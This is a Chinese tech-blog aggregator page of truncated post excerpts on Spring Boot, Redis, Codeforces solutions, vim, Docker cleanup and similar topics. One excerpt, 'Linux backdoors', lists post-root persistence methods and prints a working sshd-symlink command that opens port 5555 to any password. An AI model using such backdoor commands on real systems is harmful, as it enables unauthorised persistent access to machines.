SpringBoot @Autowired中注入静态方法或者静态变量
https://www.cnblogs.com/huanghongbo/p/10890025.html 注:用static去定义一个注入的方法或者配置文件值变量,编译时不会有任何异常,运行时会报空指针。 Spring官方不推荐此种方法。 原理: https://www.cnblogs.com/chenfeng1122/p/6270217.html 解决办法 利用spring的set注入方法,通过非静态的setter方法注入静态变量 ,我们可以改成这样就静态变量可以获取到你配置的信息了。 把ge
java实现二维码的生成与解析
二维码的生成及解析的低层实现并不简单,我们只需要知道怎么使用就可以了,参考博客:https://blog.csdn.net/jam_fanatic/article/details/82818857 1.maven中jar包引用com.google.zxing; 2.创建QRCodeUtil二维码工具类,使用谷歌提供的帮助类BufferedImageLuminanceSource绘制二维码。 生成二维码:QRCodeUtil.encode(编码到二维码中的内容, 嵌入二维码的图片路径, 生成
Codeforces Round #610 (Div. 2) 题解
Temporarily unavailable K for the Price of One (Hard Version) Petya and Exam Temporarily unavailable \[ Time Limit: 1 s\quad Memory Limit: 256 MB \] 直接计算出 \([c-r, c+r]\) 在 \([a, b]\) 中的范围有多大,然后减掉就可以了。 view #include <map>
#include <set>
#include <lis
3.redis单节点及主备模式
1.单节点模式 单节点模式的配置,使用redis通用配置即可。 (1)启动命令: 1 /path/to/redis-server /path/to/redis-6379.conf 注:配置文件名称只是示例,一般一台机器不止启动一个redis实例,使用端口区分配置文件是比较好的方式 (2)关闭命令: 1 /path/to/redis-cli -h <host> -p <port> -a '<password>' shutdown save 注:建议不要直接kill进程,会造成数据丢失 2.red
ELK---- Elasticsearch 写入数据,查询
之前已安装了Elasticsearch与kibana。 倒排索引 正向索引 正排表是以文档的ID为关键字,表中记录文档中每个字的位置信息,查找时扫描表中每个文档中字的信息直到找出所有包含查询关键字的文档。 这种组织方法在建立索引的时候结构比较简单,建立比较方便且易于维护;因为索引是基于文档建立的,若是有新的文档加入,直接为该文档建立一个新的索引块,挂接在原来索引文件的后面。若是有文档删除,则直接找到该文档号文档对应的索引信息,将其直接删除。但是在查询的时候需对所有的文档进行扫描以确保没有遗漏,
linux后门
目录 ssh软连接 添加用户 修改/etc/sudoers文件 suid后门 crontab反弹shell后门 ssh免密登录 ssh wrapper后门 inetd strace后门 协议后门 icmp PAM后门 ssh软连接 #只有root用户才可以这种方法
#拿到root权限后执行
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
#任意密码连接5555端口
ssh [email protected]:5555
ssh roo
C - Long Beautiful Integer codeforces 1269C
题解: 这里的m一定是等于n的,n为数最大为n个9,这n个9一定满足条件,根据题目意思,前k个一定是和原序列前k个相等,因此如果说我们构造出来的大于等于原序列,直接输出就可以了,否则,由于后m-k个一定是重复前k个,我们只能在前k个改动,所以只需要让前k个加1就行了,然后在根据题意构造一遍。 #include<bits/stdc++.h>
using namespace std;
const int N=2E5+7;
char s[N],s1[N];
void solve()
{
in
springboot整合freemark,thymeleaf
先在pom文件引入freemark,thymeleaf的依赖,thymeleaf的html文件放在Resource-templates-thymeleaf目录下,freekmarker的ftl文件放在Resource-templates-thymeleaf目录下,再properties文件设置各自的相关配置,如下: (freemark文件为ftl文件,thymeleaf为html文件)
flask模板 flask-bootstrap
1、模板 a、block块中继承前面block块的内容,需要添加{{super()}} b、macro 宏: 作用:在模板中定义函数(定义函数->注意添加()->可以使用from 模板名称 import 函数名) 实际应用:单独创建一个html,用于定义macro 创建模板语言的函数,再使用{% from import %} 导入,使用 {{函数名()}} 2、flask-bootstrap 后端 from flask_bootstrap import Bootstrap
Bootstra
在仅拿到头文件的情况下,如何修改类中的私有成员值?
1 通过使用从对象开始处的硬编码/手工编码的偏移量构造指针来访问私有成员数据 class Weak
{
public:
Weak() = default;
~Weak() = default;
// 想想如果去掉该函数,外部想修改类中的私有成员变量 m_name 时该如何操作?
void name(const std::string &name) {
m_name = name;
}
std::string name()
alsa-utils 的使用
ref : https://blog.csdn.net/outstanding_yzq/article/details/8126350 一.alsa-utils介绍 ALSA是kernel中的一个声音驱动程序.它包括alsa核心和其他声卡的驱动. alsa-utils是alsa的一个工具包,里面包含有声卡测试和音频编辑的工具. 二.alsa-utils的安装 1.RPM包方式 Turbolinux 10.5,11版本已经包含有alsa-utils的rpm包,你可以直接安装: # rpm -iv
linux学习23 Linux运维必备技能-vim编辑器高效用法进阶
一、vim末行模式 1、地址定界 a、:start_pos[,end_pos] #特定的第#行,例如5即第5行 .:当前行 $:最后一行; #,#:指定行范围,左侧为起始行,右侧为结束行; #,+#:指定行范围,左侧为起始行绝对编号,右侧为相对左侧行号的偏移量; 例如:3,+7:表示从第三行开始,然后增加七行。 .,$-1:表示从当前行到倒数第二行 1,$:表示全
rm -rf /var/lib/docker 设备或资源忙问题处理
在调试安装openshift时涉及安装docker和添加对应docker永久存储路径,在配置过程中因之前构建一键安装部署openshft集群出问题,导致重新设置过程中出现如下错误: [root@test-master ~]# rm -rf /var/lib/docker rm: 无法删除"/var/lib/docker/containers": 设备或资源忙 rm: 无法删除"/var/lib/docker/overlay2": 设备或资源忙 用ls -l命令查看容器目录,如下: [root@
properties、yml配置文件映射对象
1、properties文件内容映射到类对象(属性),如Resource目录下的1.properties文件已配置前缀为com.imooc.people相关的信息,然后:
pom添加依赖:springboot-configuration-processor
People类对象上方添加注解:
@Configuration
@PropertySource(value="classpath:1.properties") //指定从哪个properties读取内容
@Configuratio
纯js实现颜色16进制到rgb格式
// 利用parseInt 和 slice toString将16进制颜色转成rgb格式 // 思路:将16进制的颜色从下标1开始,利用slice方法,每隔两位取出 var div1 = document.querySelector("div"); var color = "#ab0000"; var str="rgb(" var r = parseInt(color.slice(1,3),16).toString(); //ff slice不包括end var g = parseInt(co
笔记-ubuntu19共享文件夹
这篇文章记录ubuntu和windows共享文件夹的步骤,环境是ubuntu19,两种方法,一种是图形化界面,一种是命令行。 图形化界面 打开文件软件,找到需要分享的文件夹,点击右键-属性-本地网络共享 勾选共享此目录,然后会提示需要安装samba,点击安装 安装成功后,就可以在第一步中配置共享目录的名称,注释和是否需要账号登陆,是否允许修改;完成配置后保存 在windows中使用运行输入\\ip地址 就可以看到共享的文件夹了 或者在资源管理器中新建网络位置,根据提示输入ip地址 命令行 安装
今日推荐
周排行